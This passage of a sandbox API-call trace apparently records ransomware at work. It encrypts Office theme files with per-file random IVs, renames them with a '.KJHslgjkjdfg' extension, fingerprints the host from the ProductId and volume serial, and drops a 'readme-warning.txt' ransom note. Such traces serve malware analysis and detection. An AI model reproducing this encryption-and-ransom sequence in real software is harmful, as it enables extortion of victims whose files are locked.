[0174.131] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.131] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.131] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.131] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.131] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.131] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa0e, lpOverlapped=0x0) returned 1 [0174.131] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa10, dwBufLen=0xa10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa10) returned 1 [0174.131] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.131] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa10, lpOverlapped=0x0) returned 1 [0174.131] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.131] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.131] SetEndOfFile (hFile=0x12c) returned 1 [0174.134] GetProcessHeap () returned 0x2ef0000 [0174.134] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.134] GetProcessHeap () returned 0x2ef0000 [0174.134] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.kjhslgjkjdfg")) returned 1 [0174.139] CloseHandle (hObject=0x12c) returned 1 [0174.139] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0174.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.140] GetProcessHeap () returned 0x2ef0000 [0174.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.140] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.140] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.140] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.140] GetProcessHeap () returned 0x2ef0000 [0174.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.140] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.140] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.140] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.151] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.151] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.151] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.151] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.151] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.152] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.152] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9240, lpOverlapped=0x0) returned 1 [0174.174] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9240, dwBufLen=0x9240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9240) returned 1 [0174.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.175] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9240, lpOverlapped=0x0) returned 1 [0174.175] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.175] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.175] SetEndOfFile (hFile=0x12c) returned 1 [0174.178] GetProcessHeap () returned 0x2ef0000 [0174.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.178] GetProcessHeap () returned 0x2ef0000 [0174.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0174.179] CloseHandle (hObject=0x12c) returned 1 [0174.179] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0174.180] GetProcessHeap () returned 0x2ef0000 [0174.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.180] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0174.180] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.180] GetProcessHeap () returned 0x2ef0000 [0174.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0174.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.180] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0174.180] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.180] GetProcessHeap () returned 0x2ef0000 [0174.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0174.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.180] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0174.180] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.180] GetProcessHeap () returned 0x2ef0000 [0174.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0174.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.181] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0174.181] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.181] GetProcessHeap () returned 0x2ef0000 [0174.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.181] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0174.181] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0174.181] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0174.181] RegCloseKey (hKey=0x12c) returned 0x0 [0174.181] GetProcessHeap () returned 0x2ef0000 [0174.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0174.181] GetProcessHeap () returned 0x2ef0000 [0174.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.181] GetProcessHeap () returned 0x2ef0000 [0174.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.182] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0174.182] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.182] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0174.182] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.182] GetProcessHeap () returned 0x2ef0000 [0174.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.182] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0174.182] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0174.183] GetProcessHeap () returned 0x2ef0000 [0174.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0174.183] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt") returned 82 [0174.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.183] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0174.184] CloseHandle (hObject=0x12c) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.185] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0174.185] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0174.185] GetProcessHeap () returned 0x2ef0000 [0174.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0174.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0174.209] GetProcessHeap () returned 0x2ef0000 [0174.209] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0174.209] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0174.209] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0174.209] GetProcessHeap () returned 0x2ef0000 [0174.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f10788 [0174.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.211] GetProcessHeap () returned 0x2ef0000 [0174.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.211] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.211] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.211] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0174.214] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.214] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.214] GetProcessHeap () returned 0x2ef0000 [0174.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0174.214] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0174.214] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.214] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0174.214] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.214] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.214] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.214] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.214] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.215] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.215] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.215] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.215] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xd0e5, lpOverlapped=0x0) returned 1 [0174.220] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd0f0, dwBufLen=0xd0f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd0f0) returned 1 [0174.221] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.221] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd0f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xd0f0, lpOverlapped=0x0) returned 1 [0174.221] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.221] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.221] SetEndOfFile (hFile=0x12c) returned 1 [0174.224] GetProcessHeap () returned 0x2ef0000 [0174.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0174.225] GetProcessHeap () returned 0x2ef0000 [0174.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.kjhslgjkjdfg")) returned 1 [0174.226] CloseHandle (hObject=0x12c) returned 1 [0174.226] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, 